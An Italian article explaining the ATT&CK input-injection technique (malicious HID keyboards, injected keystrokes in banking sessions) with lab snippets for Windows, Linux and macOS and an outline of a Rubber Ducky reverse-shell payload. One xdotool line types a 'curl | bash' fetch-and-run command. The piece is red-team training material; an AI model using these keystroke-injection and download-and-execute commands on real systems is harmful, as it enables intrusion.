Iniezione di Input: Input Injection (T1674)

L'Input Injection è una tecnica di esecuzione (tattica TA0002 – Execution) con cui un avversario simula la pressione di tasti sulla macchina della vittima per compiere azioni arbitrarie come se fosse l'utente legittimo. Il meccanismo è semplice quanto efficace: anziché sfruttare una vulnerabilità software, l'attaccante si inserisce nel flusso di input del sistema operativo — tramite dispositivi USB malevoli che si presentano come tastiere, oppure via software che inietta messaggi nella coda dei messaggi di Windows.

Due scenari ricorrenti rendono concreta questa minaccia. Nel primo, un dispositivo HID (Human Interface Device) collegato fisicamente — una chiavetta che emula una tastiera — digita a velocità sovrumana una sequenza di comandi che apre PowerShell, scarica un payload e lo esegue. Nel secondo, un malware già residente monitora il message loop di Windows e, quando rileva la navigazione verso un sito bancario, inietta keystroke per aprire la console sviluppatore del browser, incollare codice JavaScript dalla clipboard e manipolare la pagina — ad esempio sostituendo IBAN durante una transazione.

Il dato numerico è contenuto ma significativo: 1 gruppo APT documentato, 2 mitigazioni specifiche e strategie di detection su 3 piattaforme (Windows, Linux, macOS). La tecnica è classificata esclusivamente nella fase Execution perché il suo obiettivo primario è l'esecuzione di codice controllato dall'avversario, spesso come primo anello di catene d'attacco più complesse che includono download di malware e movimenti laterali.


La simulazione di Input Injection in laboratorio è uno degli esercizi più immediati del red teaming fisico. Lo strumento di riferimento è il USB Rubber Ducky di Hak5 (a pagamento), un dispositivo che si presenta al sistema operativo come tastiera HID e digita payload preconfigurati in linguaggio DuckyScript. In alternativa, schede come Arduino Leonardo o Teensy (a pagamento, hardware) possono essere programmate per lo stesso scopo con costi inferiori.

Per un test software-only su Windows, senza hardware esterno, PowerShell offre la classe .NET System.Windows.Forms.SendKeys. Un semplice script che simula la pressione di tasti in un'applicazione attiva dimostra il principio:

Add-Type -AssemblyName System.Windows.Forms; Start-Sleep -Seconds 2; [System.Windows.Forms.SendKeys]::SendWait("calc{ENTER}")

Questo frammento attende due secondi e poi "digita" il comando calc seguito da Invio nella finestra con focus — simulando esattamente ciò che farebbe un dispositivo HID malevolo. In un engagement reale, la sequenza sarebbe più articolata: apertura di una shell tramite combinazione Win+R, digitazione del comando di download, esecuzione.

Su Linux l'equivalente è xdotool (open source), un tool che permette di simulare input da tastiera e mouse su X11:

xdotool key super; sleep 1; xdotool type --delay 50 "bash -c 'curl -s | bash'"

Per macOS, osascript è nativo e consente iniezione di keystroke tramite AppleScript:

osascript -e 'tell application "System Events" to keystroke "t" using command down'

Questo comando simula la pressione di Cmd+T — utile per aprire un terminale in contesti dove l'applicazione Terminal è in primo piano.

Per il test con Rubber Ducky, un payload DuckyScript classico di tipo "reverse shell" segue questa struttura logica: attesa iniziale (per permettere l'enumerazione USB), apertura di PowerShell tramite combinazione di tasti, digitazione del comando di download ed esecuzione. Lo strumento DuckToolkit (open source) e l'encoder ufficiale Hak5 permettono di compilare il payload in formato binario da caricare sulla microSD del dispositivo.

Il consiglio operativo è di testare sempre in ambiente controllato con un endpoint monitorato dall'EDR aziendale, così da validare simultaneamente la capacità di detection. Cronometrate il tempo tra inserimento USB e primo beacon C2: un Rubber Ducky ben configurato completa l'intera catena in meno di 15 secondi, il che definisce la finestra di detection a disposizione del SOC.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo